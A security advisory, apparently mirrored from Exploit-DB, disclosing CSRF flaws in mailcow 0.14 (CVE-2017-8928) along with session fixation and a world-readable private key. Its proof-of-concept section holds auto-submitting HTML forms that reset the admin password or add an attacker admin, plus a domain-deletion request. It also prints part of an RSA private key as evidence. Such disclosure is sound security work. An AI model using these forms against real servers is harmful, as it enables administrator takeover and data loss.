Mailcow 0.14 – Cross-Site Request Forgery

  • 作者: hyp3rlinx
    日期: 2017-05-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42004/
  • [+] Credits: John Page a.k.a hyp3rlinx	
    [+] Website: hyp3rlinx.altervista.org
    [+] Source:http://hyp3rlinx.altervista.org/advisories/MAILCOW-v0.14-CSRF-PASSWORD-RESET-ADD-ADMIN.txt
    [+] ISR: ApparitionSec
     
    
    
    Vendor:
    =============
    mailcow.email
    mailcow.github.io
    
    
    
    Product:
    ===========
    The integrated mailcow UI allows administrative work on your mail server instance as well as separated domain administrator and mailbox user access.
    
    
    
    Vulnerability Type:
    ===================
    CSRF
    Password Reset / Add Admin / Delete Domains
    
    
    
    CVE Reference:
    ==============
    CVE-2017-8928
    
    
    
    Security Issue:
    ================
    mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF vulnerabilities. If authenticated mailcow user visits a malicious webpage
    remote attackers can execute the following exploits.
    
    
    1) reset admin password
    2) add arbitrary admin
    3) delete domains
    
    
    
    Other issues found in mailcow are as follows:
    
    Session fixation:
    =================
    Session ID: Pre authentication and Post auth is the same, and does not change upon successful login.
    
    ms22jsnl1dcpc4519rvpvfj0n6 - pre-authentication
    ms22jsnl1dcpc4519rvpvfj0n6 - post-authentication
    
    
    World Readable Private key "key.pem"
    ====================================
    john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ whoami
    
    john
    
    john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ cat key.pem 
    
    -----BEGIN RSA PRIVATE KEY-----
    MIIEpAIBAAKCAQEA0YNMU9wLfQ0m9x+TjKdytTKVwIGMqLUiuk0utXwtEBB8tnzF
    4sLOwIHMnui5+whutxXtXjdo5HZXn8vcSYr0vMucNDPItevL+c58wvH58pS9ojok
    mHyvwf6BKn1O2B+EXHoDud6AwyFGZouBa4J7u9/VVTlNWchxFahidh9mgCJKGUYx
    s7pg/WJuC1honbSicwYBbf6poVHll4qTPMNvNV5EJyVO/fsdssJyUrxGd6/2VSQu
    5G44lcPv5NeZPQsZOiJPMJidF//sVsaGaJh0CNSzNFSgEv4mlPeXZ9m6Zby+o04o
    slgG6zI0irOF2z7f3yGzonDZI+vghctDFX8shwIDAQABAoIBAQC9kiLnIgxXGyZt
    pmmYdA6re1jatZ2zLSp+DcY8ul3/0hs195IKCyCOOSQPiR520Pt0t+duP46uYZIJ
    
    etc...
    
    
    References:
    ============
    https://github.com/mailcow/mailcow-dockerized/pull/268/commits/3c937f75ba5853ada175542d5c4849fb95eb64cd
    
    
    
    Exploit/POC:
    =============
    
    [Admin Password Reset]
    
    <form action="https://localhost/admin.php" method="post">
    <input type="hidden" name="admin_user_now" value="admin">
    <input type="hidden" name="admin_user" value="admin">
    <input type="hidden" name="admin_pass" value="Abc12345">
    <input type="hidden" name="admin_pass2" value="Abc12345">
    <input type="hidden" name="trigger_set_admin" value="">
    <script>document.forms[0].submit()</script>
    </form>
    
    
    HTTP Response:
    
    'Changes to administrator have been saved"
    
    //////////////////////
    
    
    [Add Admin]
    
    <form action="https://localhost/admin.php" method="post">
    <input type="hidden" name="username" value="HELL">
    <input type="hidden" name="password" value="Abc12345">
    <input type="hidden" name="password2" value="Abc12345">
    <input type="hidden" name="active" value="on">
    <input type="hidden" name="trigger_add_domain_admin" value="localhost">
    <script>document.forms[0].submit()</script>
    </form>
    
    
    ////////////////////
    
    
    [Delete domains]
    
    https://localhost/mailbox.php
    domain=myDomain&trigger_mailbox_action=deletedomain
    
    
    
    Network Access:
    ===============
    Remote
    
    
    
    Severity:
    =========
    Medium
    
    
    
    Disclosure Timeline:
    =================================
    Vendor Notification:May 6, 2017
    Vendor releases fix:May 6, 2017
    May 14, 2017: Public Disclosure
    
    
    
    [+] Disclaimer
    The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
    Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
    that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
    is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
    for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
    or exploits by the author or elsewhere. All content (c).
    
    hyp3rlinx